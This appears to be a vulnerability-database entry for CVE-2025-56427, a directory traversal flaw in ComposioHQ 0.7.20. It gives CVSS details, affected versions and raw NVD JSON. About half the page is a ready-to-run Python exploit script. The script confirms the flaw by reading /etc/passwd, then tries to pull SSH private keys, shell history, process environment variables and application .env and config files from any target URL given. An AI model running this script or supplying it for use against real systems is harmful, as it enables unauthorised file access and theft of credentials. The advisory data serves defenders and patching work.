Security Vulnerability Report
中文
CVE-2025-56427 CVSS 7.5 HIGH

CVE-2025-56427

Published: 2025-12-04 16:16:22
Last Modified: 2025-12-16 17:52:17

Description

Directory Traversal vulnerability in ComposioHQ v.0.7.20 allows a remote attacker to obtain sensitive information via the _download_file_or_dir function.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:composio:composio:0.7.20:*:*:*:*:*:*:* - VULNERABLE
ComposioHQ < 0.7.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56427 PoC - ComposioHQ Directory Traversal # Target: ComposioHQ v0.7.20 # Vulnerability: Path Traversal in _download_file_or_dir function def exploit_directory_traversal(target_url): """ Exploit the directory traversal vulnerability to read arbitrary files """ # Common sensitive files to target sensitive_files = [ '../../../etc/passwd', '../../../etc/hosts', '../../../root/.bash_history', '../../../home/*/.ssh/id_rsa', '../../../proc/self/environ', '../../../app/config.py', '../../../app/.env' ] for file_path in sensitive_files: # Construct the malicious request endpoint = f"{target_url}/download_file_or_dir" params = {'path': file_path} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File: {file_path}") print(f"[+] Content:\n{response.text[:500]}") print("-" * 50) else: print(f"[-] Failed to read: {file_path}") except requests.RequestException as e: print(f"[!] Error accessing {file_path}: {e}") def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-56427 """ # Try to read a known file using directory traversal test_path = '../../../etc/passwd' endpoint = f"{target_url}/download_file_or_dir" try: response = requests.get(endpoint, params={'path': test_path}, timeout=10) if response.status_code == 200 and 'root:' in response.text: print(f"[!] VULNERABLE: {target_url}") print(f"[!] Can read /etc/passwd via directory traversal") return True else: print(f"[-] NOT VULNERABLE or file not accessible") return False except requests.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve-2025-56427.py <target_url>") print("Example: python cve-2025-56427.py http://target.com:8000") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Checking vulnerability for: {target}") print(f"[*] CVE-2025-56427: ComposioHQ Directory Traversal\n") if check_vulnerability(target): print("\n[*] Exploiting...") exploit_directory_traversal(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56427", "sourceIdentifier": "[email protected]", "published": "2025-12-04T16:16:21.553", "lastModified": "2025-12-16T17:52:17.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directory Traversal vulnerability in ComposioHQ v.0.7.20 allows a remote attacker to obtain sensitive information via the _download_file_or_dir function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:composio:composio:0.7.20:*:*:*:*:*:*:*", "matchCriteriaId": "CCF7CFB6-D589-447E-AB6B-CAE262279D14"}]}]}], "references": [{"url": "https://github.com/ComposioHQ/composio/blob/master/python/composio/server/api.py#L278", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/TOAST-Research/pocs/blob/main/composio/composio_1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/TOAST-Research/pocs/blob/main/composio/composio_1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}